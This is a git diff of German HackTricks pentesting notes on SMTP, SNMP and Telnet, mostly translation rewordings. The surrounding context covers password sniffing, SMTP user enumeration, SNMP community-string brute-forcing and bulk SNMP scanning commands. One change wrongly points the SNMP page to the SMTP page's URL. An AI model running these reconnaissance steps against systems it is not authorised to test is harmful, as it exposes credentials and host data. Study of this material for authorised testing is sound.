15 Sep 2021 12:13:28 +0200 EHLO all @@ -83,7 +83,7 @@ MAIL FROM: me ``` ### Sniffing -Überprüfen Sie, ob Sie einige Passwörter aus den Paketen zu Port 25 sniffen. +Überprüfen Sie, ob Sie einige Passwörter aus den Paketen zu Port 25 schnüffeln. ### [Auth bruteforce](../../generic-hacking/brute-force.md#smtp) @@ -150,7 +150,7 @@ Nmap: nmap --script smtp-enum-users ``` ## DSN-Berichte -**Zustellstatusbenachrichtigungsberichte**: Wenn Sie eine **E-Mail** an eine Organisation an eine **ungültige Adresse** senden, wird die Organisation Sie benachrichtigen, dass die Adresse ungültig war, indem sie eine **E-Mail zurücksendet**. Die **Header** der zurückgesendeten E-Mail werden mögliche **sensible Informationen** enthalten (wie die IP-Adresse der Mail-Services, die mit den Berichten interagiert haben, oder Informationen über Antiviren-Software). +**Zustellstatusbenachrichtigungsberichte**: Wenn Sie eine **E-Mail** an eine Organisation an eine **ungültige Adresse** senden, wird die Organisation Sie benachrichtigen, dass die Adresse ungültig war, indem sie eine **E-Mail zurücksendet**. **Header** der zurückgesendeten E-Mail werden mögliche **sensible Informationen** enthalten (wie die IP-Adresse der Mail-Services, die mit den Berichten interagiert haben, oder Informationen über Antiviren-Software). ## [Befehle](smtp-commands.md) @@ -235,9 +235,9 @@ Ein **vollständiger Leitfaden zu diesen Gegenmaßnahmen** ist verfügbar unter > [!CAUTION] > SPF [wurde 2014 "abgelehnt"](https://aws.amazon.com/premiumsupport/knowledge-center/route53-spf-record/). Das bedeutet, dass Sie anstelle der Erstellung eines **TXT-Datensatzes** in `_spf.domain.com` diesen in `domain.com` mit der **gleichen Syntax** erstellen.\ -> Darüber hinaus ist es recht üblich, etwas wie `"v=spf1 include:_spf.google.com ~all"` zu finden, um frühere SPF-Datensätze wiederzuverwenden. +> Darüber hinaus ist es recht gängig, etwas wie `"v=spf1 include:_spf.google.com ~all"` zu finden, um frühere SPF-Datensätze wiederzuverwenden. -**Sender Policy Framework** (SPF) ist ein Mechanismus, der es Mail Transfer Agents (MTAs) ermöglicht zu überprüfen, ob ein Host, der eine E-Mail sendet, autorisiert ist, indem eine Liste autorisierter Mail-Server abgefragt wird, die von den Organisationen definiert wurde. Diese Liste, die IP-Adressen/-Bereiche, Domains und andere Entitäten **enthält, die berechtigt sind, E-Mails im Namen eines Domainnamens zu senden**, umfasst verschiedene "**Mechanismen**" im SPF-Datensatz. +**Sender Policy Framework** (SPF) ist ein Mechanismus, der es Mail Transfer Agents (MTAs) ermöglicht zu überprüfen, ob ein Host, der eine E-Mail sendet, autorisiert ist, indem eine Liste autorisierter Mailserver abgefragt wird, die von den Organisationen definiert wurde. Diese Liste, die IP-Adressen/Bereiche, Domains und andere Entitäten **enthält, die berechtigt sind, E-Mails im Namen eines Domainnamens zu senden**, umfasst verschiedene "**Mechanismen**" im SPF-Datensatz. #### Mechanismen @@ -245,24 +245,24 @@ Von [Wikipedia](https://en.wikipedia.org/wiki/Sender_Policy_Framework): | Mechanismus | Beschreibung | | ----------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| ALL | Passt immer; wird für ein Standardergebnis wie `-all` für alle IPs verwendet, die nicht von vorherigen Mechanismen übereinstimmen. | -| A | Wenn der Domainname einen Adressdatensatz (A oder AAAA) hat, der auf die Adresse des Absenders aufgelöst werden kann, wird er übereinstimmen. | +| ALL | Passt immer; wird für ein Standardergebnis wie `-all` für alle IPs verwendet, die nicht von vorherigen Mechanismen übereinstimmen. | +| A | Wenn der Domainname einen Adressdatensatz (A oder AAAA) hat, der auf die Adresse des Absenders aufgelöst werden kann, wird er übereinstimmen. | | IP4 | Wenn der Absender in einem bestimmten IPv4-Adressbereich ist, passt er. | | IP6 | Wenn der Absender in einem bestimmten IPv6-Adressbereich ist, passt er. | -| MX | Wenn der Domainname einen MX-Datensatz hat, der auf die Adresse des Absenders aufgelöst wird, wird er übereinstimmen (d.h. die E-Mail kommt von einem der eingehenden Mail-Server der Domain). | -| PTR | Wenn der Domainname (PTR-Datensatz) für die Adresse des Clients im angegebenen Domainnamen ist und dieser Domainname auf die Adresse des Clients aufgelöst wird (vorwärts bestätigte Reverse-DNS), passt er. Dieser Mechanismus wird nicht empfohlen und sollte, wenn möglich, vermieden werden. | -| EXISTS | Wenn der angegebene Domainname auf eine beliebige Adresse aufgelöst wird, passt er (unabhängig von der Adresse, auf die er aufgelöst wird). Dies wird selten verwendet. Zusammen mit der SPF-Makrosprache bietet es komplexere Übereinstimmungen wie DNSBL-Abfragen. | +| MX | Wenn der Domainname einen MX-Datensatz hat, der auf die Adresse des Absenders aufgelöst wird, wird er übereinstimmen (d.h. die E-Mail kommt von einem der eingehenden Mailserver der Domain). | +| PTR | Wenn der Domainname (PTR-Datensatz) für die Adresse des Clients in der angegebenen Domain ist und dieser Domainname auf die Adresse des Clients aufgelöst wird (vorwärts bestätigte umgekehrte DNS), passt er. Dieser Mechanismus wird nicht empfohlen und sollte, wenn möglich, vermieden werden. | +| EXISTS | Wenn der angegebene Domainname auf eine beliebige Adresse aufgelöst wird, passt er (unabhängig von der Adresse, auf die er aufgelöst wird). Dies wird selten verwendet. Zusammen mit der SPF-Makrosprache bietet es komplexere Übereinstimmungen wie DNSBL-Abfragen. | | INCLUDE | Verweist auf die Richtlinie einer anderen Domain. Wenn die Richtlinie dieser Domain besteht, besteht dieser Mechanismus. Wenn die eingeschlossene Richtlinie jedoch fehlschlägt, wird die Verarbeitung fortgesetzt. Um vollständig an die Richtlinie einer anderen Domain zu delegieren, muss die Umleitungs-Erweiterung verwendet werden. | | REDIRECT |

Eine Umleitung ist ein Verweis auf einen anderen Domainnamen, der eine SPF-Richtlinie hostet. Sie ermöglicht es mehreren Domains, dieselbe SPF-Richtlinie zu teilen. Sie ist nützlich, wenn man mit einer großen Anzahl von Domains arbeitet, die dieselbe E-Mail-Infrastruktur teilen.

Die SPF-Richtlinie der im Umleitungsmechanismus angegebenen Domain wird verwendet.

| Es ist auch möglich, **Qualifizierer** zu identifizieren, die **angeben, was zu tun ist, wenn ein Mechanismus übereinstimmt**. Standardmäßig wird der **Qualifizierer "+"** verwendet (wenn also ein Mechanismus übereinstimmt, bedeutet das, dass es erlaubt ist).\ -Normalerweise werden Sie **am Ende jeder SPF-Richtlinie** etwas wie: **\~all** oder **-all** bemerken. Dies wird verwendet, um anzuzeigen, dass **wenn der Absender mit keiner SPF-Richtlinie übereinstimmt, die E-Mail als untrusted (\~) markiert oder (-) abgelehnt werden sollte.** +Normalerweise werden Sie **am Ende jeder SPF-Richtlinie** etwas wie: **\~all** oder **-all** bemerken. Dies wird verwendet, um anzuzeigen, dass **wenn der Absender mit keiner SPF-Richtlinie übereinstimmt, die E-Mail als untrusted (\~) oder abgelehnt (-) markiert werden sollte.** #### Qualifizierer Jeder Mechanismus innerhalb der Richtlinie kann mit einem der vier Qualifizierer vorangestellt werden, um das beabsichtigte Ergebnis zu definieren: -- **`+`**: Entspricht einem PASS-Ergebnis. Standardmäßig nehmen Mechanismen diesen Qualifizierer an, wodurch `+mx` gleichwertig zu `mx` ist. +- **`+`**: Entspricht einem PASS-Ergebnis. Standardmäßig nehmen Mechanismen diesen Qualifizierer an, wodurch `+mx` gleich `mx` ist. - **`?`**: Stellt ein NEUTRAL-Ergebnis dar, das ähnlich wie NONE (keine spezifische Richtlinie) behandelt wird. - **`~`**: Bezeichnet SOFTFAIL und dient als Mittelweg zwischen NEUTRAL und FAIL. E-Mails, die dieses Ergebnis erfüllen, werden typischerweise akzeptiert, aber entsprechend markiert. - **`-`**: Gibt FAIL an und deutet darauf hin, dass die E-Mail vollständig abgelehnt werden sollte. @@ -286,15 +286,15 @@ _netblocks2.google.com. 1908 IN TXT "v=spf1 ip6:2001:4860:4000::/36 dig txt _netblocks3.google.com | grep spf _netblocks3.google.com. 1903 IN TXT "v=spf1 ip4:172.217.0.0/19 ip4:172.217.32.0/20 ip4:172.217.128.0/19 ip4:172.217.160.0/20 ip4:172.217.192.0/19 ip4:172.253.56.0/21 ip4:172.253.112.0/20 ip4:108.177.96.0/19 ip4:35.191.0.0/16 ip4:130.211.0.0/22 ~all" ``` -Traditionell war es möglich, jeden Domainnamen zu fälschen, der keinen korrekten/keinen SPF-Eintrag hatte. **Heutzutage** wird eine **E-Mail**, die von einer **Domain ohne einen gültigen SPF-Eintrag** kommt, wahrscheinlich **automatisch abgelehnt/als nicht vertrauenswürdig markiert**. +Traditionell war es möglich, jeden Domainnamen zu fälschen, der keinen korrekten/keinen SPF-Eintrag hatte. **Heutzutage** wird **E-Mail**, die von einer **Domain ohne gültigen SPF-Eintrag** kommt, wahrscheinlich **automatisch abgelehnt/als nicht vertrauenswürdig markiert**. Um den SPF einer Domain zu überprüfen, können Sie Online-Tools wie: [https://www.kitterman.com/spf/validate.html](https://www.kitterman.com/spf/validate.html) verwenden. ### DKIM (DomainKeys Identified Mail) -DKIM wird verwendet, um ausgehende E-Mails zu signieren, sodass sie von externen Mail Transfer Agents (MTAs) durch den Abruf des öffentlichen Schlüssels der Domain aus dem DNS validiert werden können. Dieser öffentliche Schlüssel befindet sich im TXT-Eintrag einer Domain. Um auf diesen Schlüssel zuzugreifen, muss man sowohl den Selektor als auch den Domainnamen kennen. +DKIM wird verwendet, um ausgehende E-Mails zu signieren, sodass sie von externen Mail Transfer Agents (MTAs) durch den Abruf des öffentlichen Schlüssels der Domain aus dem DNS validiert werden können. Dieser öffentliche Schlüssel befindet sich im TXT-Eintrag einer Domain. Um auf diesen Schlüssel zuzugreifen, muss man sowohl den Selector als auch den Domainnamen kennen. -Um den Schlüssel anzufordern, sind der Domainname und der Selektor erforderlich. Diese können im E-Mail-Header `DKIM-Signature` gefunden werden, z.B. `d=gmail.com;s=20120113`. +Um beispielsweise den Schlüssel anzufordern, sind der Domainname und der Selector erforderlich. Diese können im E-Mail-Header `DKIM-Signature` gefunden werden, z.B. `d=gmail.com;s=20120113`. Ein Befehl, um diese Informationen abzurufen, könnte so aussehen: ```bash @@ -304,7 +304,7 @@ dig 20120113._domainkey.gmail.com TXT | grep p= ``` ### DMARC (Domain-based Message Authentication, Reporting & Conformance) -DMARC verbessert die E-Mail-Sicherheit, indem es auf den SPF- und DKIM-Protokollen aufbaut. Es legt Richtlinien fest, die Mailserver bei der Verarbeitung von E-Mails aus einer bestimmten Domain leiten, einschließlich des Umgangs mit Authentifizierungsfehlern und wo Berichte über E-Mail-Verarbeitungsaktionen gesendet werden sollen. +DMARC verbessert die E-Mail-Sicherheit, indem es auf den SPF- und DKIM-Protokollen aufbaut. Es legt Richtlinien fest, die Mailserver bei der Verarbeitung von E-Mails aus einer bestimmten Domain leiten, einschließlich der Handhabung von Authentifizierungsfehlern und wo Berichte über E-Mail-Verarbeitungsaktionen gesendet werden sollen. **Um den DMARC-Eintrag zu erhalten, müssen Sie die Subdomain \_dmarc abfragen** ```bash @@ -341,11 +341,11 @@ Das Folgende wurde ursprünglich auf openspf.org veröffentlicht, das früher ei > Die Dämonenfrage: Was ist mit Subdomains? > -> Wenn ich eine E-Mail von pielovers.demon.co.uk erhalte und es keine SPF-Daten für pielovers gibt, sollte ich dann eine Ebene zurückgehen und SPF für demon.co.uk testen? Nein. Jede Subdomain bei Demon ist ein anderer Kunde, und jeder Kunde könnte seine eigene Richtlinie haben. Es wäre nicht sinnvoll, dass die Richtlinie von Demon standardmäßig für alle seine Kunden gilt; wenn Demon das möchte, kann es SPF-Einträge für jede Subdomain einrichten. +> Wenn ich E-Mails von pielovers.demon.co.uk erhalte und es keine SPF-Daten für pielovers gibt, sollte ich dann eine Ebene zurückgehen und SPF für demon.co.uk testen? Nein. Jede Subdomain bei Demon ist ein anderer Kunde, und jeder Kunde könnte seine eigene Richtlinie haben. Es wäre nicht sinnvoll, dass die Richtlinie von Demon standardmäßig für alle seine Kunden gilt; wenn Demon das möchte, kann es SPF-Einträge für jede Subdomain einrichten. > -> Daher lautet der Rat an SPF-Publisher: Sie sollten einen SPF-Eintrag für jede Subdomain oder jeden Hostnamen hinzufügen, der einen A- oder MX-Eintrag hat. +> Daher ist der Rat an SPF-Publisher: Sie sollten einen SPF-Eintrag für jede Subdomain oder jeden Hostnamen hinzufügen, der einen A- oder MX-Eintrag hat. > -> Websites mit Wildcard-A- oder MX-Einträgen sollten auch einen Wildcard-SPF-Eintrag in der Form haben: \* IN TXT "v=spf1 -all" +> Seiten mit Wildcard-A- oder MX-Einträgen sollten auch einen Wildcard-SPF-Eintrag in der Form haben: \* IN TXT "v=spf1 -all" Das macht Sinn - eine Subdomain kann sich sehr wohl an einem anderen geografischen Standort befinden und eine sehr unterschiedliche SPF-Definition haben. @@ -473,7 +473,7 @@ s.sendmail(sender, [destination], msg_data) {{#endtab}} {{#endtabs}} -### **Weitere Informationen** +### **Mehr Informationen** **Weitere Informationen zu diesen Schutzmaßnahmen finden Sie unter** [**https://seanthegeek.net/459/demystifying-dmarc/**](https://seanthegeek.net/459/demystifying-dmarc/) @@ -496,7 +496,7 @@ s.sendmail(sender, [destination], msg_data) ### Postfix -Normalerweise, wenn installiert, befindet sich in `/etc/postfix/master.cf` **Skripte zur Ausführung**, wenn beispielsweise eine neue E-Mail von einem Benutzer empfangen wird. Zum Beispiel bedeutet die Zeile `flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient}`, dass `/etc/postfix/filtering` ausgeführt wird, wenn eine neue E-Mail vom Benutzer mark empfangen wird. +In der Regel, wenn installiert, befindet sich in `/etc/postfix/master.cf` **Skripte zur Ausführung**, wenn beispielsweise eine neue E-Mail von einem Benutzer empfangen wird. Zum Beispiel bedeutet die Zeile `flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient}`, dass `/etc/postfix/filtering` ausgeführt wird, wenn eine neue E-Mail vom Benutzer mark empfangen wird. Andere Konfigurationsdateien: ``` @@ -520,7 +520,7 @@ Description: Notes for SMTP Note: | SMTP (Simple Mail Transfer Protocol) is a TCP/IP protocol used in sending and receiving e-mail. However, since it is limited in its ability to queue messages at the receiving end, it is usually used with one of two other protocols, POP3 or IMAP, that let the user save messages in a server mailbox and download them periodically from the server. -https://book.hacktricks.xyz/pentesting/pentesting-smtp +https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smtp/index.html Entry_2: Name: Banner Grab diff --git a/src/network-services-pentesting/pentesting-snmp/README.md b/src/network-services-pentesting/pentesting-snmp/README.md index 17c9033fc..70744726a 100644 --- a/src/network-services-pentesting/pentesting-snmp/README.md +++ b/src/network-services-pentesting/pentesting-snmp/README.md @@ -2,7 +2,6 @@ {{#include ../../banners/hacktricks-training.md}} - ## Grundlegende Informationen **SNMP - Simple Network Management Protocol** ist ein Protokoll, das verwendet wird, um verschiedene Geräte im Netzwerk (wie Router, Switches, Drucker, IoTs...) zu überwachen. @@ -15,8 +14,8 @@ PORT STATE SERVICE REASON VERSION ### MIB -Um sicherzustellen, dass der SNMP-Zugriff herstellerübergreifend und mit verschiedenen Client-Server-Kombinationen funktioniert, wurde die **Management Information Base (MIB)** erstellt. MIB ist ein **unabhängiges Format zur Speicherung von Geräteinformationen**. Eine MIB ist eine **Text**-Datei, in der alle abfragbaren **SNMP-Objekte** eines Geräts in einer **standardisierten** Baumhierarchie aufgelistet sind. Sie enthält mindestens einen `Object Identifier` (`OID`), der neben der notwendigen **eindeutigen Adresse** und einem **Namen** auch Informationen über den Typ, die Zugriffsrechte und eine Beschreibung des jeweiligen Objekts bereitstellt.\ -MIB-Dateien sind im `Abstract Syntax Notation One` (`ASN.1`) basierten ASCII-Textformat geschrieben. Die **MIBs enthalten keine Daten**, sondern erklären **wo welche Informationen zu finden sind** und wie sie aussehen, welche Rückgabewerte für die spezifische OID zurückgegeben werden oder welcher Datentyp verwendet wird. +Um sicherzustellen, dass der SNMP-Zugriff herstellerübergreifend und mit verschiedenen Client-Server-Kombinationen funktioniert, wurde die **Management Information Base (MIB)** erstellt. MIB ist ein **unabhängiges Format zur Speicherung von Geräteinformationen**. Eine MIB ist eine **Text**-Datei, in der alle abfragbaren **SNMP-Objekte** eines Geräts in einer **standardisierten** Baumhierarchie aufgeführt sind. Sie enthält mindestens einen `Object Identifier` (`OID`), der neben der notwendigen **eindeutigen Adresse** und einem **Namen** auch Informationen über den Typ, die Zugriffsrechte und eine Beschreibung des jeweiligen Objekts bereitstellt.\ +MIB-Dateien sind im `Abstract Syntax Notation One` (`ASN.1`) basierten ASCII-Textformat geschrieben. Die **MIBs enthalten keine Daten**, sondern erklären **wo man welche Informationen findet** und wie sie aussehen, welche Rückgabewerte für die spezifische OID zurückgegeben werden oder welcher Datentyp verwendet wird. ### OIDs @@ -28,8 +27,8 @@ Darüber hinaus haben Anbieter die Freiheit, private Zweige zu schaffen. Innerha ![](<../../images/SNMP_OID_MIB_Tree (1).png>) -Sie können durch einen **OID-Baum** hier im Web navigieren: [http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) oder **sehen, was eine OID bedeutet** (wie `1.3.6.1.2.1.1`), indem Sie [http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1) aufrufen.\ -Es gibt einige **bekannte OIDs**, wie die innerhalb von [1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1), die auf die MIB-2 definierten Simple Network Management Protocol (SNMP)-Variablen verweisen. Und von den **OIDs, die von dieser stammen**, können Sie einige interessante Hostdaten (Systemdaten, Netzwerkdaten, Prozessdaten...) erhalten. +Sie können durch einen **OID-Baum** hier im Web navigieren: [http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) oder **sehen, was ein OID bedeutet** (wie `1.3.6.1.2.1.1`), indem Sie [http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1) aufrufen.\ +Es gibt einige **bekannte OIDs**, wie die innerhalb von [1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1), die auf die MIB-2 definierten Simple Network Management Protocol (SNMP)-Variablen verweisen. Und von den **OIDs, die von dieser abgeleitet sind**, können Sie einige interessante Hostdaten (Systemdaten, Netzwerkdaten, Prozessdaten...) erhalten. ### **OID Beispiel** @@ -39,7 +38,7 @@ Es gibt einige **bekannte OIDs**, wie die innerhalb von [1.3.6.1.2.1](http://oid Hier ist eine Aufschlüsselung dieser Adresse. -- 1 – dies wird als ISO bezeichnet und stellt fest, dass dies eine OID ist. Deshalb beginnen alle OIDs mit „1“. +- 1 – dies wird als ISO bezeichnet und stellt fest, dass dies ein OID ist. Deshalb beginnen alle OIDs mit „1“. - 3 – dies wird als ORG bezeichnet und wird verwendet, um die Organisation anzugeben, die das Gerät gebaut hat. - 6 – dies ist das dod oder das Department of Defense, das die Organisation ist, die das Internet zuerst etabliert hat. - 1 – dies ist der Wert des Internets, um anzuzeigen, dass alle Kommunikationen über das Internet stattfinden. @@ -48,7 +47,7 @@ Hier ist eine Aufschlüsselung dieser Adresse. Diese ersten sechs Werte sind für alle Geräte gleich und geben Ihnen die grundlegenden Informationen über sie. Diese Zahlenfolge wird für alle OIDs gleich sein, es sei denn, das Gerät wird von der Regierung hergestellt. -Kommen wir zur nächsten Zahlenreihe. +Weiter zur nächsten Zahlenreihe. - 1452 – gibt den Namen der Organisation an, die dieses Gerät hergestellt hat. - 1 – erklärt die Art des Geräts. In diesem Fall handelt es sich um einen Wecker. @@ -69,20 +68,20 @@ Die restlichen Werte geben spezifische Informationen über das Gerät. Es gibt 2 wichtige Versionen von SNMP: - **SNMPv1**: Hauptversion, sie ist immer noch die häufigste, die **Authentifizierung basiert auf einer Zeichenfolge** (Community-String), die in **Klartext** übertragen wird (alle Informationen werden im Klartext übertragen). **Version 2 und 2c** senden den **Verkehr ebenfalls im Klartext** und verwenden einen **Community-String als Authentifizierung**. -- **SNMPv3**: Verwendet eine bessere **Authentifizierungs**form und die Informationen werden **verschlüsselt** übertragen (ein **Dictionary-Angriff** könnte durchgeführt werden, wäre aber viel schwieriger, die richtigen Anmeldeinformationen zu finden als bei SNMPv1 und v2). +- **SNMPv3**: Verwendet eine bessere **Authentifizierungs**form und die Informationen werden **verschlüsselt** übertragen (ein **Dictionary-Angriff** könnte durchgeführt werden, wäre aber viel schwieriger, die richtigen Anmeldeinformationen zu finden als in SNMPv1 und v2). ### Community-Strings -Wie bereits erwähnt, **um auf die im MIB gespeicherten Informationen zuzugreifen, müssen Sie den Community-String in den Versionen 1 und 2/2c und die Anmeldeinformationen in Version 3 kennen.**\ +Wie bereits erwähnt, **um auf die im MIB gespeicherten Informationen zuzugreifen, müssen Sie den Community-String in den Versionen 1 und 2/2c sowie die Anmeldeinformationen in Version 3 kennen.**\ Es gibt **2 Arten von Community-Strings**: - **`public`** hauptsächlich **nur Lese**-Funktionen - **`private`** **Lese/Schreib** im Allgemeinen -Beachten Sie, dass **die Schreibbarkeit einer OID vom verwendeten Community-String abhängt**, sodass **selbst** wenn Sie feststellen, dass „**public**“ verwendet wird, Sie möglicherweise in der Lage sind, **einige Werte zu schreiben.** Außerdem **kann** es Objekte geben, die **immer "Nur Lesen"** sind.\ -Wenn Sie versuchen, ein Objekt zu **schreiben**, wird ein **`noSuchName` oder `readOnly` Fehler** empfangen\*\*.\*\* +Beachten Sie, dass **die Schreibbarkeit eines OID vom verwendeten Community-String abhängt**, sodass **selbst** wenn Sie feststellen, dass „**public**“ verwendet wird, Sie möglicherweise in der Lage sind, **einige Werte zu schreiben.** Außerdem kann es **Objekte geben**, die **immer "Nur Lesen"** sind.\ +Wenn Sie versuchen, ein Objekt zu **schreiben**, erhalten Sie einen **`noSuchName` oder `readOnly` Fehler**\*\*.\*\* -In den Versionen 1 und 2/2c, wenn Sie einen **schlechten** Community-String verwenden, wird der Server nicht **antworten**. Wenn er antwortet, wurde ein **gültiger Community-String verwendet**. +In den Versionen 1 und 2/2c wird der Server nicht **antworten**, wenn Sie einen **schlechten** Community-String verwenden. Wenn er also antwortet, wurde ein **gültiger Community-String verwendet**. ## Ports @@ -90,7 +89,7 @@ In den Versionen 1 und 2/2c, wenn Sie einen **schlechten** Community-String verw - Der SNMP-Agent empfängt Anfragen auf UDP-Port **161**. - Der Manager empfängt Benachrichtigungen ([Traps](https://en.wikipedia.org/wiki/Simple_Network_Management_Protocol#Trap) und [InformRequests](https://en.wikipedia.org/wiki/Simple_Network_Management_Protocol#InformRequest)) auf Port **162**. -- Wenn es mit [Transport Layer Security](https://en.wikipedia.org/wiki/Transport_Layer_Security) oder [Datagram Transport Layer Security](https://en.wikipedia.org/wiki/Datagram_Transport_Layer_Security) verwendet wird, werden Anfragen auf Port **10161** empfangen und Benachrichtigungen an Port **10162** gesendet. +- Wenn er mit [Transport Layer Security](https://en.wikipedia.org/wiki/Transport_Layer_Security) oder [Datagram Transport Layer Security](https://en.wikipedia.org/wiki/Datagram_Transport_Layer_Security) verwendet wird, werden Anfragen auf Port **10161** empfangen und Benachrichtigungen an Port **10162** gesendet. ## Brute-Force Community-String (v1 und v2c) @@ -105,7 +104,7 @@ download-mibs # Finally comment the line saying "mibs :" in /etc/snmp/snmp.conf sudo vi /etc/snmp/snmp.conf ``` -Wenn Sie einen gültigen Community-String kennen, können Sie die Daten mit **SNMPWalk** oder **SNMP-Check** abrufen: +Wenn Sie eine gültige Community-String kennen, können Sie die Daten mit **SNMPWalk** oder **SNMP-Check** abrufen: ```bash snmpbulkwalk -c [COMM_STRING] -v [VERSION] [IP] . #Don't forget the final dot snmpbulkwalk -c public -v2c 10.10.11.136 . @@ -125,9 +124,9 @@ Dank erweiterter Abfragen (download-mibs) ist es möglich, noch mehr über das S ```bash snmpwalk -v X -c public NET-SNMP-EXTEND-MIB::nsExtendOutputFull ``` -**SNMP** enthält viele Informationen über den Host, und interessante Punkte sind: **Netzwerkschnittstellen** (IPv4 und **IPv6** Adresse), Benutzernamen, Betriebszeit, Server/OS-Version und **Prozesse** +**SNMP** enthält viele Informationen über den Host, und interessante Punkte sind: **Netzwerkschnittstellen** (IPv4 und **IPv6** Adresse), Benutzernamen, Betriebszeit, Server-/Betriebssystemversion und **Prozesse** -**die laufen** (könnten Passwörter enthalten).... +**die laufen** (kann Passwörter enthalten).... ### **Gefährliche Einstellungen** @@ -135,20 +134,20 @@ Im Bereich des Netzwerkmanagements sind bestimmte Konfigurationen und Parameter ### Zugriffseinstellungen -Zwei Hauptkonfigurationen ermöglichen den Zugriff auf den **vollständigen OID-Baum**, der ein entscheidendes Element im Netzwerkmanagement ist: +Zwei Hauptparameter ermöglichen den Zugriff auf den **vollständigen OID-Baum**, der ein entscheidendes Element im Netzwerkmanagement ist: 1. **`rwuser noauth`** ist so eingestellt, dass es vollen Zugriff auf den OID-Baum ohne Authentifizierung ermöglicht. Diese Einstellung ist unkompliziert und erlaubt uneingeschränkten Zugriff. 2. Für spezifischere Kontrollen kann der Zugriff gewährt werden mit: - **`rwcommunity`** für **IPv4** Adressen, und - **`rwcommunity6`** für **IPv6** Adressen. -Beide Befehle erfordern eine **Community-String** und die relevante IP-Adresse, die vollen Zugriff unabhängig von der Herkunft der Anfrage bieten. +Beide Befehle erfordern eine **Community-String** und die entsprechende IP-Adresse, die vollen Zugriff unabhängig von der Herkunft der Anfrage bieten. ### SNMP-Parameter für Microsoft Windows Eine Reihe von **Management Information Base (MIB) Werten** wird verwendet, um verschiedene Aspekte eines Windows-Systems über SNMP zu überwachen: -- **Systemprozesse**: Über `1.3.6.1.2.1.25.1.6.0` aufgerufen, ermöglicht dieser Parameter die Überwachung aktiver Prozesse im System. +- **Systemprozesse**: Zugriff über `1.3.6.1.2.1.25.1.6.0`, dieser Parameter ermöglicht die Überwachung aktiver Prozesse im System. - **Laufende Programme**: Der Wert `1.3.6.1.2.1.25.4.2.1.2` ist für die Verfolgung aktuell laufender Programme vorgesehen. - **Prozesspfad**: Um zu bestimmen, wo ein Prozess ausgeführt wird, wird der MIB-Wert `1.3.6.1.2.1.25.4.2.1.4` verwendet. - **Speichereinheiten**: Die Überwachung von Speichereinheiten wird durch `1.3.6.1.2.1.25.2.3.1.4` erleichtert. @@ -174,11 +173,11 @@ snmp-rce.md ## **Massives SNMP** -[Braa ](https://github.com/mteg/braa) ist ein massiver SNMP-Scanner. Die beabsichtigte Nutzung eines solchen Tools besteht natürlich darin, SNMP-Abfragen durchzuführen – aber im Gegensatz zu snmpwalk von net-snmp kann es Dutzende oder Hunderte von Hosts gleichzeitig und in einem einzigen Prozess abfragen. Dadurch verbraucht es sehr wenige Systemressourcen und führt das Scannen SEHR schnell durch. +[Braa ](https://github.com/mteg/braa) ist ein massiver SNMP-Scanner. Die beabsichtigte Nutzung eines solchen Tools besteht natürlich darin, SNMP-Abfragen zu stellen – aber im Gegensatz zu snmpwalk von net-snmp kann es Dutzende oder Hunderte von Hosts gleichzeitig und in einem einzigen Prozess abfragen. Dadurch verbraucht es sehr wenige Systemressourcen und führt das Scannen SEHR schnell durch. Braa implementiert seinen eigenen SNMP-Stack, sodass es keine SNMP-Bibliotheken wie net-snmp benötigt. -**Syntax:** braa \[Community-string]@\[IP des SNMP-Servers]:\[iso id] +**Syntax:** braa \[Community-String]@\[IP des SNMP-Servers]:\[iso id] ```bash braa ignite123@192.168.1.125:.1.3.6.* ``` @@ -200,7 +199,7 @@ grep -i "trap" *.snmp ``` ### **Benutzernamen/Passwörter** -Protokolle, die in MIB-Tabellen gespeichert sind, werden auf **fehlgeschlagene Anmeldeversuche** untersucht, die möglicherweise versehentlich Passwörter enthalten, die als Benutzernamen eingegeben wurden. Schlüsselwörter wie _fail_, _failed_ oder _login_ werden durchsucht, um wertvolle Daten zu finden: +Logs, die in MIB-Tabellen gespeichert sind, werden auf **fehlgeschlagene Anmeldeversuche** untersucht, die versehentlich Passwörter enthalten könnten, die als Benutzernamen eingegeben wurden. Schlüsselwörter wie _fail_, _failed_ oder _login_ werden durchsucht, um wertvolle Daten zu finden: ```bash grep -i "login\|fail" *.snmp ``` @@ -224,7 +223,6 @@ Wenn es eine ACL gibt, die nur bestimmten IPs erlaubt, den SNMP-Dienst abzufrage - snmpd.conf - snmp-config.xml - ## HackTricks Automatische Befehle ``` Protocol_Name: SNMP #Protocol Abbreviation if there is one. @@ -237,7 +235,7 @@ Description: Notes for SNMP Note: | SNMP - Simple Network Management Protocol is a protocol used to monitor different devices in the network (like routers, switches, printers, IoTs...). -https://book.hacktricks.xyz/pentesting/pentesting-snmp +https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smtp/index.html Entry_2: Name: SNMP Check diff --git a/src/network-services-pentesting/pentesting-telnet.md b/src/network-services-pentesting/pentesting-telnet.md index 16bde2fdc..1d8568ea5 100644 --- a/src/network-services-pentesting/pentesting-telnet.md +++ b/src/network-services-pentesting/pentesting-telnet.md @@ -23,7 +23,7 @@ nmap -n -sV -Pn --script "*telnet* and safe" -p 23 ``` Das Skript `telnet-ntlm-info.nse` wird NTLM-Informationen (Windows-Versionen) abrufen. -Aus dem [telnet RFC](https://datatracker.ietf.org/doc/html/rfc854): Im TELNET-Protokoll gibt es verschiedene "**Optionen**", die genehmigt werden und mit der Struktur "**DO, DON'T, WILL, WON'T**" verwendet werden können, um einem Benutzer und einem Server zu ermöglichen, sich auf die Verwendung eines elaborierteren (oder vielleicht einfach anderen) Satzes von Konventionen für ihre TELNET-Verbindung zu einigen. Solche Optionen könnten das Ändern des Zeichensatzes, des Echo-Modus usw. umfassen. +Aus dem [telnet RFC](https://datatracker.ietf.org/doc/html/rfc854): Im TELNET-Protokoll gibt es verschiedene "**Optionen**", die genehmigt werden und mit der Struktur "**DO, DON'T, WILL, WON'T**" verwendet werden können, um 